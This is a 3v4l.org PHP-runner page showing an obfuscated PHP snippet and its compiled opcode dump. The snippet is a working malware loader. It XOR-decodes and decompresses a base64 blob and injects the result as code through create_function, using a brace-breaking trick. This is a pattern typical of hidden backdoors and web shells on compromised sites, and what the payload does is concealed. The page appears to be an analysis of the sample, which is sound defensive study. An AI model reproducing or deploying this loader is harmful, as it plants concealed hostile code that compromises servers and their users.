3v4l.org

run code in 300+ PHP versions simultaneously
<?php global $zghplyvl; $zghplyvl=array('$zghplyvl[0]=$zghplyvl[3];$fsyrrqfb=fsyrrqfb(6,13);$zghplyvl[0]=$fsyrrqfb($zghplyvl[2]);','$zghplyvl[2]=gzuncompress(fsyrrqfb(699,2160));','Zm1sZE9rcH9qVVdSZW5hf29KfmFrVWJ1dmFlbnJ3UWZga35gdHRyTGJ4dnV0d0huQEteUVRZRERYTE1WQ1tORU1WSEdFaGBneXVqeGJ9Zn5raGJXbEFmZWg/dXRlZmZmbW1jVHowLD4+Kk9BbGtXNFxII1t/f0JXa2tTZ0NqVmdZTExFQkx4M0tAaEREbHZ5YGNtYnd0cCBqZmJrdS1mamhgdyZycXtscWh+L3d1amlucCl0cXZxbmt2c1VqTFZZQEtNUWJIa2RrZEN3RD4tImp3aVNMVllAR11EQFNuRmZjfnUuIVR3YmlrfmMvfm9tbWM7a3BndmR+SHZrUEkvTlFLVkdcRV1GX0xSWE1aV0FfWUhBVF1GR0F0dnpIVVdIQkFKWEdVQ0pdd21kckI7dUwrZmhmN2Zjfk9rK3ZgYDc7bXxpfilvaG1zVWNyemt3K3ZgYDc7QlBCJ3F0b3xEeFBPXWt1aWZQUEdAQHdUbWJialBPXVRRR1Z1Ymd0K3ZgYERQZ1hQcXJhf3lxVGdqelt+b3ZmdW1wb31Genp1blZzciBzd3t/dml+K292aGRgYHFoVXNyIHN3e392aX4reWdnY2REVmJ5Ym1/c31xVHdueGcqRVlHT051Km5id1NsbG1zRldxcklMTFZZQEdAWFZVVUVdQ0pfek9hTmRSZWNiYTAjcXZ0Z2pzY2d7cmt5L2dtYGtoQWIzI3Fqcm59c39pNHZzekJwWmY2I3J3d2p/bmlhNGVrZit1fT17emV1bm0qam50NHQ5ZSJpMCJ2MGBwZS1jOk13bCJ0MFJLWGd3f3xHZVJNcjVKUlJsdnlgIjokciJ1MHZ/dml6cE9vbWxkZE12dmN3Z3l/aGFMYWRrInUwc21WUGF6aHNEZ3kidTBjczVDR1NaKysoNExtfmQiNUJ1QkNLK3VZfJ5wSGF6oFsV9S4Hzfdv1'.'cBwfslU12exMJSdctkiWo+VVJS8nSTT1x865CnMc9TrB2pxrKd5o/m94VPPggXhXUj+LZzlXKym9s2nKshX1CqWrqg4hz0PabeAuThK5pq+CfEv/xzsJdiRy7xZdkvmKpDvK5zbROUEFYdkuBRXWoh2d498e1hcmqaiOTp5JWVASTS8EfwUNG5P3g3Ma5FjnV5YilbrWPdCS+mBASnZRTpdpKxPNLPSKVdbf6CZvepPRZ2lNKAeNGbdz9jBIBuc49O7KUc9luh1nrHvmoDyzc6ONn7SXQ8uALgeSW8hHeG185s2nhNSOL4shoG+bfX9SzS9hOf3sEE5cJfBBfWgd+LMlFxToOHGaxRMtYkRXe/GCbVN1FfhQtFHI1O/GrzUkJsSM6QNdJ93lIzKiIB6SsO2dUixF1d2/tOLqDCoVi9PnUimkSMrkp1g4alpLFtFDsBz92UBDZryLOCn+qym+Epp3ELMJ6f7h2TCPXg9ckZnbjh64i1w7MGsaO8gxKU84CPE4vhn3ZB2ottrh0Wp86V0y4Rnzn6STKu4vE7C5la01KBF0n2DZcBzE3HA78PMYzhX3Kcu3RBoDmEb5BFIVYValBnx2vpjrNZMEGgFOwLLp0heaqlLpK5vs4i4dgXdZv/fYRHxBwx8J5lBCCNkXOaiP3cOJug2b30ZaMby8n+63CQWt14MEEh6n1QKbyv3jjhZ2qSZk4K+nZ7gn1eSrzRNtXyvv389s'.'CrXkf1NJoKIMUk4OHWA5kWssqJDEOrQq8XWyItwqNFEpyrUGC4QOcKYoFD1XDgXf+39xbLxFlduSjL4ZCSlIwC9elT3iY0C0FEf910AyKY+1CYigvY0FpCNP81tIM9m9aesnyAwad5XXEb/bPG4mred0h7Mj65SHfd+2os5+/p76eV2avLL6oqG3hEl6Py4d+nyXwSjXqnfx0Y+0HhA4/DA2SZs4T/RwlDmljz2iGnzL/nX0vMEjzijWCtSJWSLFuQBxsa/PJwRSelsbbgHSSBFwT8S28l15JhKhhYpN3bVTZn4iRoHlKTVA9iAwYAIWSdVlHmkpCU7UQC7mfULGNJ6+qfGqakwPwTx2aCdeFS/t0BY/rOkq2oAb/9JFsaIQqgoOp2vHnEZvn6cq0uypzemkmVxtA+4sHexlYi95eXwWIWnneGqY8Cq6jpKU+5Gp8tWrL/Z65WH210TjuYerSzZNNnY2Q7IwsE28GA+dB0QZX9CuTnqdQ1DIag7VhbUb7EWgzEWd8DbqAypdgh5EjlrAFZqfQBgxWTZitQRSE5nuX6YEL8FjkEw6pzni3HWx/cKVJtVg/x+TyYGXkLAwhVK2aT5i4VhnCYMLXtl147F0RFwLdRQbSfZmavixrGQbsuXBKgaumWi07eTHe6J6CNzpvPjeHGNAszaDx5TVAnCzRdVwMSkiAyPgCLVKpsNuD+VgRtyAUSZjr4p3hMinS83cAcWB2XMxbTldUI+jMkTMGAa1JWhy8gPfZwGo1uIUcxbfpz0BFpQ7hS+FkdMTNGUkTQFa7a7ccOTcl4GHgwOzBj9EItF953z4VopqdZGLciWN2uAnionMHtaZNXA0uWUr9Gx576T+Jd4NnBMLEIQa4FNr4IyV1JS1JtMw9Qn6fn69PW95ZBhYQHF534cYe6U9xetqMDI28twFcano6F'.'9aVfGZTh86n4+SRbsyKDHlBqWPPTmVj3CEAzArgfZzAdYFRuEWW5gq8mW3h+ObOWDjcxq9F3CY+N/0C/eVqXC1rS63We+utiJXalWPMpDeO5cLMEkdmqJJaEyJA2NVIgdWpHKT3yPAmnd+pAzOT9hTvgBBpkmVLlI8IoaNeGcKO9V7kGxj9vbTNut7ziU8oy8Bpaze9flM9xaJsZgFU49TOu857jOKu4Gg559ZioaCTuWOT+ao2cIFxtCQGnSCkR9ZIpNlYgqvl2UGJ6PcrbwTd6y4KBx5dvQmST0YQS9QvmOuagPMefidwMEmikizA4VQjnG+rRKEDd/AZMkOW+12fsHEa+kV5pWi5pkQnqsTQa2p5JMaVVutbKv/IrRkDxiTMQyjcWS2eI4N320HLErt2cuhxq7URzIDpSqE3Q94HWTzpplTpBNOVP/Fg3i+H7zqplBLzmh+oUJGeP5rrfdEhpSnPQUgv/PgMfYMLojk94gRlfC64TmDHaa9DuuGU/aLQDg31Sz8LFXg+0ueDFsvzRhxj7S3d0r/r3WyIcZE3KxWEVJKxfNvtrpvGME1+E+WA7mVwKDVcnWezw9SmxeFdaOtJEFy8XgCKSWOxMQeQk8uAXnpdWhgpntizaMCxDSAyb4ovfdDyvSgmitV4I0ch73w9nVkami71q+XUALEYo69hrJKPJCm8se7JrMDz0O1nplexW+Fq4z0SkS8PD3/9TMwMESRX190IYliFywAOyKau4SB+781qMdAp83NvNComtg2wxuozWV5984BL8WpCtcaraMyoH8b3r26+'.'icdgs9wfcuen12u3t7t61n6whrzsV8pTnY1MLu+3/nh/TI+AwSXJdRe74P12HS5QbJfT+KBVLE4P/+ewJXII8z4FvGGZ7/UvJ6/pcjDlgr3XFVtxke+5p4uOv2Z4RgafrYMq32sq2XBfS/CPk2eosw7LpJwXkRj0Ne1bYfFfnrzwo0Oy+vL0Ai4W6/AdUp5DFn+MaVuKfvtw0ShcIVfkuysTVPjUML8Kff8RVyfDwOAjaz4ej8EEfCOauvJsmNjYPjD6glykbnevN7fsak2szXO2S01y27mGtYFZJb6NXcMFVVj/5KVWeZ/P0McejiAhzVBE5R3m+XZG4LTC2rK8qY8KHRaePP39EdD/+urGn45JCBTMK1+hWX9wXiY25QZWZjfnUuIVR3YmlrfmM=',"/*bodi\x66\x63\x7e\x75\x2e\x21\x54\x77\x62\x69\x6b\x7e\x63*/");$jpunotu='create_';if(function_exists($jpunotu.='function')&&!function_exists('fsyrrqfb')){ function fsyrrqfb($g,$b){global $zghplyvl;$d=str_pad("",$b,"dbmpxuksgjdzfdka");$v=str_repeat("\x1f",$b);$w=str_repeat("\xe0",$b);$a = substr($zghplyvl[0],$g,$b);return(($a^$d)&$v)|($a&$w);};for($sw=-1;++$sw<3;){$jpunotu('','}'.$zghplyvl[$sw].'{');}};unset($zghplyvl);?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 46) Position 1 = 8, Position 2 = 13
Branch analysis from position: 8
2 jumps found. (Code = 43) Position 1 = 14, Position 2 = 27
Branch analysis from position: 14
1 jumps found. (Code = 42) Position 1 = 24
Branch analysis from position: 24
2 jumps found. (Code = 44) Position 1 = 27, Position 2 = 17
Branch analysis from position: 27
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 17
2 jumps found. (Code = 44) Position 1 = 27, Position 2 = 17
Branch analysis from position: 27
Branch analysis from position: 17
Branch analysis from position: 27
Branch analysis from position: 13
filename:       /in/vahDY
function name:  (null)
number of ops:  29
compiled vars:  !0 = $zghplyvl, !1 = $jpunotu, !2 = $sw
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   BIND_GLOBAL                                              !0, 'zghplyvl'
          1        ASSIGN                                                   !0, <array>
          2        ASSIGN                                                   !1, 'create_'
          3        INIT_FCALL                                               'function_exists'
          4        ASSIGN_OP                                     8  ~5      !1, 'function'
          5        SEND_VAL                                                 ~5
          6        DO_ICALL                                         $6      
          7      > JMPZ_EX                                          ~7      $6, ->13
          8    >   INIT_FCALL                                               'function_exists'
          9        SEND_VAL                                                 'fsyrrqfb'
         10        DO_ICALL                                         $8      
         11        BOOL_NOT                                         ~9      $8
         12        BOOL                                             ~7      ~9
         13    > > JMPZ                                                     ~7, ->27
         14    >   DECLARE_FUNCTION                                         'fsyrrqfb'
         15        ASSIGN                                                   !2, -1
         16      > JMP                                                      ->24
         17    >   INIT_DYNAMIC_CALL                                        !1
         18        SEND_VAL_EX                                              ''
         19        FETCH_DIM_R                                      ~11     !0, !2
         20        CONCAT                                           ~12     '%7D', ~11
         21        CONCAT                                           ~13     ~12, '%7B'
         22        SEND_VAL_EX                                              ~13
         23        DO_FCALL                                      0          
         24    >   PRE_INC                                          ~15     !2
         25        IS_SMALLER                                               ~15, 3
         26      > JMPNZ                                                    ~16, ->17
         27    >   UNSET_CV                                                 !0
         28      > RETURN                                                   1

Function %00fsyrrqfb%2Fin%2FvahDY%3A1%240:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/vahDY
function name:  fsyrrqfb
number of ops:  32
compiled vars:  !0 = $g, !1 = $b, !2 = $zghplyvl, !3 = $d, !4 = $v, !5 = $w, !6 = $a
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
          0  E >   RECV                                             !0      
          1        RECV                                             !1      
          2        BIND_GLOBAL                                              !2, 'zghplyvl'
          3        INIT_FCALL                                               'str_pad'
          4        SEND_VAL                                                 ''
          5        SEND_VAR                                                 !1
          6        SEND_VAL                                                 'dbmpxuksgjdzfdka'
          7        DO_ICALL                                         $7      
          8        ASSIGN                                                   !3, $7
          9        INIT_FCALL                                               'str_repeat'
         10        SEND_VAL                                                 '%1F'
         11        SEND_VAR                                                 !1
         12        DO_ICALL                                         $9      
         13        ASSIGN                                                   !4, $9
         14        INIT_FCALL                                               'str_repeat'
         15        SEND_VAL                                                 '%E0'
         16        SEND_VAR                                                 !1
         17        DO_ICALL                                         $11     
         18        ASSIGN                                                   !5, $11
         19        INIT_FCALL                                               'substr'
         20        FETCH_DIM_R                                      ~13     !2, 0
         21        SEND_VAL                                                 ~13
         22        SEND_VAR                                                 !0
         23        SEND_VAR                                                 !1
         24        DO_ICALL                                         $14     
         25        ASSIGN                                                   !6, $14
         26        BW_XOR                                           ~16     !6, !3
         27        BW_AND                                           ~17     !4, ~16
         28        BW_AND                                           ~18     !6, !5
         29        BW_OR                                            ~19     ~17, ~18
         30      > RETURN                                                   ~19
         31*     > RETURN                                                   null

End of function %00fsyrrqfb%2Fin%2FvahDY%3A1%240

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
184.79 ms | 1405 KiB | 21 Q